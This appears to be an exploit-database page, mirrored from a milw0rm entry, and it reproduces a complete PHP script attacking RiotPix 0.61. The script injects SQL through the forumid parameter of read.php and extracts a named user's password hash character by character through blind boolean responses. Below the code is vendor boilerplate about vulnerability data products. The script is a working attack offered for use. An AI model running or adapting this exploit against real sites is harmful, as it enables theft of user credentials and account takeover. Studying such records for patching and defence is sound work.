Lucene search
K

RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

RiotPix <= 0.61 Blind SQL Injection Exploit for forumi

Code

                                                &#60;?php

/*

	$Id: riotpix-0.61.txt,v 0.1 2009/01/06 03:47:30 cOndemned Exp $

	RiotPix &#60;= 0.61 (forumid) Blind SQL Injection Exploit
	Bug found && Exploited by cOndemned

	Download :
		
		http://www.riotpix.com/download/riotpix0_61.zip


	Description :
		
		It&#39;s just simple Blind SQL Injection exploit that gets
		password hash of given user. Code is really simple - 
		without proxy, or error handling, but i don&#39;t think it is
		important, as long as the RiotPix isn&#39;t famous script...
		
	-------------------------------------------------------------------	

	Greetz: 
	
		ZaBeaTy, str0ke, sid.psycho & TWT, wojtus0007, 0in, vCore


		&#34;...What is left to die for, what is left to give...&#34;

*/


	echo &#34;\n[~] RiotPix &#60;= 0.61 (forumid) Blind SQL Injection Exploit&#34;;
	echo &#34;\n[~] Bug found && Exploited by cOndemned\n&#34;;

	if($argc != 4)
	{
		printf(&#34;[!] Usage: php %s &#60;target_size&#62; &#60;username&#62; &#60;topic_id&#62;\n\n&#34;, $argv[0]);
		exit;
	}

	list($sploit, $target, $username, $topicid) = $argv;

	$charsArr = array(48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);
	$pos = 1;

	echo &#34;[~] Password Hash : &#34;;

	while($pos != 33)
	{
		for($i = 0; $i &#60;= count($charsArr); $i++)
		{
			$query = &#34;/read.php?forumid=$topicid+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=&#39;$username&#39;),$pos,1)=CHAR({$charsArr[$i]})--&#34;;
			$source = file_get_contents($target . $query);
			
			if(!eregi(&#39;existent&#39;, $source))  
			{
				printf(&#34;%s&#34;, chr($charsArr[$i]));
				$pos++;
				break;
			}
			flush(STDOUT);
		}
	}

	echo &#34;\n[~] Done\n\n&#34;;

?&#62;

# milw0rm.com [2009-01-06]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16